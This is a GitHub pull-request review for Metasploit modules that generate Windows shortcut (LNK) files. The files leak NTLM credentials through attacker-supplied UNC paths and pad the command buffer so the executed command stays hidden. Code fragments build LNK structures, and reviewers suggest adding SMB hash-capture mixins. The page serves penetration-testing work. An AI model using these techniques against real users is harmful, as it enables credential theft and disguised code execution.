-
Notifications
You must be signed in to change notification settings - Fork 14.6k
Adds fileformat NTLM leak/LNK padding modules #20518
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Adds fileformat NTLM leak/LNK padding modules #20518
Conversation
Added Metasploit Auxiliary Module: [x] Environment Variable Data Block NTLM Leak [x] Icon Environment Data Block NTLM Leak [x] Special Folder Data Block NTLM Leak [x] Windows LNK Padding Ref: https://github.com/nafiez/DataBlockNTLMLeak/tree/main
Thanks for your pull request! Before this can be merged, we need the following documentation for your module: |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Could you run rubocop for your module files?
|
||
def initialize(info = {}) | ||
super(update_info(info, | ||
'Name' => 'ZDI-CAN-25373 - Windows Shortcut (LNK) Padding', |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Can you move ZDI ID to references?
'Name' => 'ZDI-CAN-25373 - Windows Shortcut (LNK) Padding', | |
'Name' => 'Windows Shortcut (LNK) Padding', |
register_options([ | ||
OptString.new('FILENAME', [ true, 'The LNK filename to generate', 'poc.lnk' ]), | ||
OptString.new('COMMAND', [ true, 'Command to execute', 'C:\\Windows\\System32\\calc.exe' ]), | ||
OptString.new('DESCRIPTION', [ true, 'LNK file description', 'testing purpose' ]), |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I think it might be better to make this option not mandatory and then add random description if the user does not provide description input. There's Faker
module for that, which can add some pretty reasonable descriptions.
OptString.new('FILENAME', [ true, 'The LNK filename to generate', 'poc.lnk' ]), | ||
OptString.new('COMMAND', [ true, 'Command to execute', 'C:\\Windows\\System32\\calc.exe' ]), | ||
OptString.new('DESCRIPTION', [ true, 'LNK file description', 'testing purpose' ]), | ||
OptString.new('ICON_PATH', [ true, 'Icon path for the LNK file', 'your_icon_path\\WindowsBackup.ico' ]), |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Also same thing as for DESCRIPTION
.
unicode_buffer = unicode_buffer.ljust(520, "\x00".force_encoding('UTF-16LE'))[0, 520].force_encoding('ASCII-8BIT') | ||
data << unicode_buffer | ||
|
||
return data |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
return data | |
data |
|
||
register_options([ | ||
OptString.new('FILENAME', [true, 'The LNK file name', 'msf.lnk']), | ||
OptString.new('UNC_PATH', [true, 'The UNC path for credentials capture (e.g., \\\\192.168.1.1\\share)', '\\\\192.168.1.1\\share']), |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I think you can spawn SMB
server from Metasploit, then you can capture credentials from your module. You can use following imports:
include Msf::Exploit::Remote::SMB::Server::Share
include Msf::Exploit::Remote::SMB::Server::HashCapture
It might be more helpful with lateral movement.
end | ||
|
||
def generate_item_id(data) | ||
return [data.length + 2].pack('S') + data |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
return [data.length + 2].pack('S') + data | |
[data.length + 2].pack('S') + data |
bin_data << name_utf16 | ||
bin_data << "\x00\x00".force_encoding('ASCII-8BIT') # comment | ||
|
||
return bin_data |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
return bin_data | |
bin_data |
idlist << "\x00\x00".force_encoding('ASCII-8BIT') | ||
|
||
# Full IDList with size | ||
return [idlist.length].pack('S') + idlist |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
return [idlist.length].pack('S') + idlist | |
[idlist.length].pack('S') + idlist |
extra << [0x28].pack('L') # Offset (4 bytes) | ||
extra << [0x00].pack('L') # TERMINAL_BLOCK (4 bytes) | ||
|
||
return extra |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
return extra | |
extra |
lnk_data << generate_linktarget_idlist(path, name) | ||
lnk_data << generate_extra_data | ||
|
||
return lnk_data |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
return lnk_data | |
lnk_data |
Sure I will get started with the code changes and then move on to the documentation |
…o generate description and icon_path, fixed: minor changes
…s optional, used: faker module to generate data
icon_path = datastore['ICON_PATH'] | ||
|
||
unless description && !description.empty? | ||
require 'faker' |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
This should be moved above class definition
require 'faker' |
end | ||
|
||
unless icon_path && !icon_path.empty? | ||
require 'faker' |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
This should be moved to above class definition:
require 'faker' |
data << create_string_data(icon_path) | ||
data << create_environment_block | ||
|
||
return data |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
return data | |
data |
'License' => MSF_LICENSE, | ||
'Author' => [ 'Nafiez' ], | ||
'References' => [ | ||
['ZDI', 'ZDI-CAN-25373'], |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
['ZDI', 'ZDI-CAN-25373'], | |
['ZDI', 'CAN-25373'], |
header << [0].pack('V') | ||
header << [0].pack('V') | ||
|
||
return header |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
return header | |
header |
unicode_str = str.encode('UTF-16LE').force_encoding('ASCII-8BIT') | ||
data << unicode_str | ||
|
||
return data |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
return data | |
data |
if fill_bytes > 0 | ||
buffer = ' ' * fill_bytes + cmd_command | ||
else | ||
buffer = cmd_command | ||
end |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
if fill_bytes > 0 | |
buffer = ' ' * fill_bytes + cmd_command | |
else | |
buffer = cmd_command | |
end | |
buffer = ' ' * fill_bytes + cmd_command |
buffer = buffer[0, buffer_size] if buffer.length > buffer_size | ||
buffer << "\x00" | ||
|
||
return buffer |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
return buffer | |
buffer |
|
||
unless icon_path && !icon_path.empty? | ||
require 'faker' | ||
icon_path = File.join('%SystemRoot%\\System32', "#{Faker::File.file_name(ext: 'icon')}.to_s") |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Here, you're combining two separators - the File.join
uses /
by default, so you'll get %SystemRoot%\\System32/..
, which might cause a problem
icon_path = File.join('%SystemRoot%\\System32', "#{Faker::File.file_name(ext: 'icon')}.to_s") | |
icon_path = File.join('%SystemRoot%\\System32', Faker::File.file_name(ext: 'icon').to_s) |
deregister_options('SRVHOST', 'SRVPORT') | ||
register_advanced_options([ | ||
OptAddressLocal.new('SRVHOST', [true, 'The local host to listen on', '0.0.0.0']), | ||
OptPort.new('SRVPORT', [true, 'The local port to listen on', 445]) | ||
]) |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
You don't need to do this as the options will be registered when SMB server is included - if you want to set default settings, please use DefaultOptions
.
end | ||
|
||
unc_path = datastore['UNC_PATH'] | ||
if unc_path.nil? || unc_path.empty? |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
if unc_path.nil? || unc_path.empty? | |
if unc_path.blank? |
self.share_name = random_share_name | ||
self.smb_srvhost = datastore['SRVHOST'] | ||
self.smb_srvport = datastore['SRVPORT'] | ||
self.capture_hashes = true |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
No need to set this.
self.share_name = random_share_name | |
self.smb_srvhost = datastore['SRVHOST'] | |
self.smb_srvport = datastore['SRVPORT'] | |
self.capture_hashes = true |
def random_share_name | ||
"share#{Rex::Text.rand_text_alphanumeric(6)}" | ||
end |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
def random_share_name | |
"share#{Rex::Text.rand_text_alphanumeric(6)}" | |
end |
'Stability' => [], | ||
'Reliability' => [], | ||
'SideEffects' => [] |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
The notes
are missing
deregister_options('SRVHOST', 'SRVPORT') | ||
register_advanced_options([ | ||
OptAddressLocal.new('SRVHOST', [ true, 'The local host to listen on', '0.0.0.0' ]), | ||
OptPort.new('SRVPORT', [ true, 'The local port to listen on', 445 ]) | ||
]) |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
You don't have to define this, it should be defined already by SMBserver
def run | ||
app_name = datastore['APPNAME'] | ||
while app_name && !app_name.empty? | ||
require 'faker' |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Please move this to above class definition
self.share_name = random_share_name | ||
self.smb_srvhost = datastore['SRVHOST'] | ||
self.smb_srvport = datastore['SRVPORT'] | ||
self.capture_hashes = true |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
You shouldn't need to use this here
def random_share_name | ||
"share#{Rex::Text.rand_text_alphanumeric(6)}" | ||
end |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
It doesn't make sense to define this function, you can inline this.
…, environment_variable_datablock_leak.rb, icon_environment_datablock_leak.rb)
Release NotesThis adds multiple auxiliary modules for NTLM leak. |
Added Metasploit Auxiliary Module:
[x] Environment Variable Data Block NTLM Leak
[x] Icon Environment Data Block NTLM Leak
[x] Special Folder Data Block NTLM Leak
[x] Windows LNK Padding
Ref:
https://github.com/nafiez/DataBlockNTLMLeak/tree/main
Issue: #20223